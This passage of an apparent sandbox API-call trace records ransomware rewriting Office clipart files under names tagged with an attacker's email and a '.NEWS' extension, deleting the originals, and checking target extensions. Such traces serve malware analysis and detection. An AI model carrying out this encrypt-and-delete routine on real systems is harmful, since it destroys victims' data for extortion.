"c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0179.658] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=10060) returned 1 [0179.658] CloseHandle (hObject=0x4f4) returned 1 [0179.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf")) returned 0x220 [0179.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0179.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0179.916] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.916] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0179.919] GetLastError () returned 0x0 [0179.919] ReadFile (in: hFile=0x4f4, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x274c, lpOverlapped=0x0) returned 1 [0179.921] WriteFile (in: hFile=0x564, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x2750, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2750, lpOverlapped=0x0) returned 1 [0179.923] ReadFile (in: hFile=0x4f4, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.923] WriteFile (in: hFile=0x564, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.923] SetEndOfFile (hFile=0x564) returned 1 [0179.924] CloseHandle (hObject=0x564) returned 1 [0179.924] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.924] SetEndOfFile (hFile=0x4f4) returned 1 [0179.953] CloseHandle (hObject=0x4f4) returned 1 [0179.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0179.954] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf")) returned 1 [0179.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0179.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0179.956] lstrlenW (lpString=".doc") returned 4 [0179.956] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.956] lstrlenW (lpString=".docx") returned 5 [0179.956] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0179.956] lstrlenW (lpString=".pdf") returned 4 [0179.956] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.956] lstrlenW (lpString=".xls") returned 4 [0179.956] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.956] lstrlenW (lpString=".xlsx") returned 5 [0179.956] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0179.956] lstrlenW (lpString=".ppt") returned 4 [0179.956] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0179.957] lstrlenW (lpString=".zip") returned 4 [0179.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.957] lstrlenW (lpString=".rar") returned 4 [0179.957] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.957] lstrlenW (lpString=".bz2") returned 4 [0179.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.957] lstrlenW (lpString=".7z") returned 3 [0179.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0179.957] lstrlenW (lpString=".dbf") returned 4 [0179.957] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0179.957] lstrlenW (lpString=".1cd") returned 4 [0179.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0179.957] lstrlenW (lpString=".jpg") returned 4 [0179.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0179.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0179.957] lstrlenW (lpString=".doc") returned 4 [0179.957] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.957] lstrlenW (lpString=".docx") returned 5 [0179.957] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0179.958] lstrlenW (lpString=".pdf") returned 4 [0179.958] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.958] lstrlenW (lpString=".xls") returned 4 [0179.958] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.958] lstrlenW (lpString=".xlsx") returned 5 [0179.958] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0179.958] lstrlenW (lpString=".ppt") returned 4 [0179.958] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0179.958] lstrlenW (lpString=".zip") returned 4 [0179.958] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.958] lstrlenW (lpString=".rar") returned 4 [0179.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.958] lstrlenW (lpString=".bz2") returned 4 [0179.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.958] lstrlenW (lpString=".7z") returned 3 [0179.958] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0179.958] lstrlenW (lpString=".dbf") returned 4 [0179.958] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0179.959] lstrlenW (lpString=".1cd") returned 4 [0179.959] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0179.959] lstrlenW (lpString=".jpg") returned 4 [0179.959] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.959] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0179.959] lstrlenW (lpString="J0106222.WMF") returned 12 [0179.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0179.960] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=19600) returned 1 [0179.960] CloseHandle (hObject=0x4f4) returned 1 [0179.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf")) returned 0x220 [0179.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0179.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0179.961] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.961] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0179.963] GetLastError () returned 0x0 [0179.963] ReadFile (in: hFile=0x4f4, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x4c90, lpOverlapped=0x0) returned 1 [0179.967] WriteFile (in: hFile=0x564, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x4ca0, lpOverlapped=0x0) returned 1 [0179.969] ReadFile (in: hFile=0x4f4, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.969] WriteFile (in: hFile=0x564, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.969] SetEndOfFile (hFile=0x564) returned 1 [0179.970] CloseHandle (hObject=0x564) returned 1 [0179.970] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.970] SetEndOfFile (hFile=0x4f4) returned 1 [0179.978] CloseHandle (hObject=0x4f4) returned 1 [0179.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0179.979] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf")) returned 1 [0179.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0179.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0179.980] lstrlenW (lpString=".doc") returned 4 [0179.980] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.980] lstrlenW (lpString=".docx") returned 5 [0179.980] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0179.980] lstrlenW (lpString=".pdf") returned 4 [0179.980] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.980] lstrlenW (lpString=".xls") returned 4 [0179.980] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.980] lstrlenW (lpString=".xlsx") returned 5 [0179.980] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0179.980] lstrlenW (lpString=".ppt") returned 4 [0179.981] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0179.981] lstrlenW (lpString=".zip") returned 4 [0179.981] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.981] lstrlenW (lpString=".rar") returned 4 [0179.981] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.981] lstrlenW (lpString=".bz2") returned 4 [0179.981] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.981] lstrlenW (lpString=".7z") returned 3 [0179.981] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0179.981] lstrlenW (lpString=".dbf") returned 4 [0179.981] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0179.981] lstrlenW (lpString=".1cd") returned 4 [0179.981] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0179.981] lstrlenW (lpString=".jpg") returned 4 [0179.981] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0180.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0180.343] lstrlenW (lpString=".doc") returned 4 [0180.343] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.343] lstrlenW (lpString=".docx") returned 5 [0180.343] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0180.343] lstrlenW (lpString=".pdf") returned 4 [0180.343] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.343] lstrlenW (lpString=".xls") returned 4 [0180.343] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.343] lstrlenW (lpString=".xlsx") returned 5 [0180.343] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0180.343] lstrlenW (lpString=".ppt") returned 4 [0180.343] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0180.343] lstrlenW (lpString=".zip") returned 4 [0180.344] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.344] lstrlenW (lpString=".rar") returned 4 [0180.344] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.344] lstrlenW (lpString=".bz2") returned 4 [0180.344] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.344] lstrlenW (lpString=".7z") returned 3 [0180.344] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0180.344] lstrlenW (lpString=".dbf") returned 4 [0180.344] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0180.344] lstrlenW (lpString=".1cd") returned 4 [0180.344] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68 [0180.344] lstrlenW (lpString=".jpg") returned 4 [0180.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.344] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0180.344] lstrlenW (lpString="J0107042.WMF") returned 12 [0180.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0180.346] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=9048) returned 1 [0180.346] CloseHandle (hObject=0x4f4) returned 1 [0180.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf")) returned 0x220 [0180.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0180.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0180.347] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.347] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0180.348] GetLastError () returned 0x0 [0180.348] ReadFile (in: hFile=0x4f4, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x2358, lpOverlapped=0x0) returned 1 [0180.351] WriteFile (in: hFile=0x36c, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x2360, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2360, lpOverlapped=0x0) returned 1 [0180.352] ReadFile (in: hFile=0x4f4, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.352] WriteFile (in: hFile=0x36c, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.353] SetEndOfFile (hFile=0x36c) returned 1 [0180.353] CloseHandle (hObject=0x36c) returned 1 [0180.353] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.353] SetEndOfFile (hFile=0x4f4) returned 1 [0180.372] CloseHandle (hObject=0x4f4) returned 1 [0180.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0180.372] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf")) returned 1 [0180.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0180.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0180.374] lstrlenW (lpString=".doc") returned 4 [0180.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.374] lstrlenW (lpString=".docx") returned 5 [0180.374] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0180.374] lstrlenW (lpString=".pdf") returned 4 [0180.374] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.374] lstrlenW (lpString=".xls") returned 4 [0180.374] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.374] lstrlenW (lpString=".xlsx") returned 5 [0180.374] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0180.374] lstrlenW (lpString=".ppt") returned 4 [0180.375] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0180.375] lstrlenW (lpString=".zip") returned 4 [0180.375] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.375] lstrlenW (lpString=".rar") returned 4 [0180.375] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.375] lstrlenW (lpString=".bz2") returned 4 [0180.375] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.375] lstrlenW (lpString=".7z") returned 3 [0180.375] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0180.375] lstrlenW (lpString=".dbf") returned 4 [0180.375] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0180.375] lstrlenW (lpString=".1cd") returned 4 [0180.375] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0180.375] lstrlenW (lpString=".jpg") returned 4 [0180.375] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0180.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0180.376] lstrlenW (lpString=".doc") returned 4 [0180.376] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.376] lstrlenW (lpString=".docx") returned 5 [0180.376] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0180.376] lstrlenW (lpString=".pdf") returned 4 [0180.376] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.376] lstrlenW (lpString=".xls") returned 4 [0180.376] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.376] lstrlenW (lpString=".xlsx") returned 5 [0180.376] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0180.376] lstrlenW (lpString=".ppt") returned 4 [0180.376] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0180.376] lstrlenW (lpString=".zip") returned 4 [0180.376] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.376] lstrlenW (lpString=".rar") returned 4 [0180.376] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.376] lstrlenW (lpString=".bz2") returned 4 [0180.376] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.376] lstrlenW (lpString=".7z") returned 3 [0180.376] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0180.376] lstrlenW (lpString=".dbf") returned 4 [0180.376] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0180.376] lstrlenW (lpString=".1cd") returned 4 [0180.377] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0180.377] lstrlenW (lpString=".jpg") returned 4 [0180.377] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.377] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0180.377] lstrlenW (lpString="J0107090.WMF") returned 12 [0180.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0180.530] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=14132) returned 1 [0180.544] 